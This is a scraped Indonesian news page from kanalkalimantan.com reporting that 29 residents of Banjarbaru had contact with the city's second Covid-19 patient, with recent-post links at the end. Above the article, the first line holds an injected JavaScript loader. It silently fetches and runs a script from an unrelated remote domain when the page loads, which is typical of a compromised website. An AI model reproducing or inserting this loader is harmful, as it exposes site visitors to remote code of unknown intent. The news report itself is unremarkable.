(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

29 Orang Pernah Kontak Pasien Positif Kedua Covid-19 di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Hingga Rabu 15 April 2020 tercatat ada 2 kasus positif Covid-19 di kota Banjarbaru. Kondisi ini menuntut Gugus Tugas Pencegahan Pengendalian Penanganan (P3) Covid-19 Kota Banjarbaru segera melakukan pencarian contact tracing alias penelusuran kontak pasien.

Untuk kasus pertama yakni pasien yang baru menjalani pendidikan kedinasan di luar daerah, telah dipastikan tidak memilik contact tracing. Karena, pasien saat tiba di Banjarbaru langsung menjalani isolasi di Rumah Sakit Umum Daerah Ulin Banjarmasin.

Namun, beda halnya dengan kasus kedua positif Covid-19 yakni seorang pria berusia 50 tahun. Pasien yang bertempat tinggal di Kecamatan Landasan Ulin tersebut terindikasi telah menjalin kontak dengan masyarakat sekitar. Diketahui bahwa pasien baru saja berpergian ke Makassar.

Dalam teleconference, Rabu (15/4/2020) siang, Juru Bicara Gugus Tugas P3 Covid-19 Banjarbaru Rizani Mirza mengungkapkan bahwa pihaknya telah melakukan tracing dalam beberapa hari terakhir.

Ia membeberkan, dari hasil penelusuran pihaknya, ada puluhan orang yang terpantau menjalin kontak dengan pasien terpapar Covid-19 tersebut.

Baca Juga : Satu Kasus Baru Covid-19 di Banjarbaru, Pria Berusia 50 Tahun yang Datang dari Makassar

Baca Juga : Kasus Positif Covid-19 di Banjarbaru, Pasien Usai Tempuh Pendidikan Kedinasan di Luar Daerah

“Sudah kami lakukan tracing dan sementara ini sudah ada 29 warga Banjarbaru yang terpantau pernah berkontak dengan pasien itu,” katanya.

Rencananya selanjutnya usai dilakukan contact tracing, kata Rizani, pihaknya akan segera melakukan rapid test terhadap 29 orang tersebut. Lalu, jika nantinya hasil diagnosa rapid test dinyatakan reaktif, selanjutnya akan kembali dilakukan tes swab.

“Dilakukan tes swab, agar bisa dinyatakan negatif atau positif. Kalau cuma rapid test saja, belum bisa dipastikan terpapar Covid-19. Ya, kita berharap semoga tidak mengarah ke sana,” pungkas Kepala Dinas Kesehatan Banjarbaru. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Begini Penjelasan Disporabudpar Banjarbaru Soal Perizinan Hotel Aeris

KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More

3 jam ago

Gerilya Politik Lisa Halaby ke Nasdem Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More

4 jam ago

Tim Wasev Cek Langsung Lokasi TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More

4 jam ago

Lutung Tersengat Listrik Dievakuasi Warga, Damkar HSU Amankan Satwa Dilindungi

KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More

5 jam ago

“Pesta Siswa Literasi Digital” di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More

5 jam ago

Kontestasi Pilwali Banjarbaru, Golkar Partai Pertama Incaran Lisa Halaby

Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More

6 jam ago

This website uses cookies.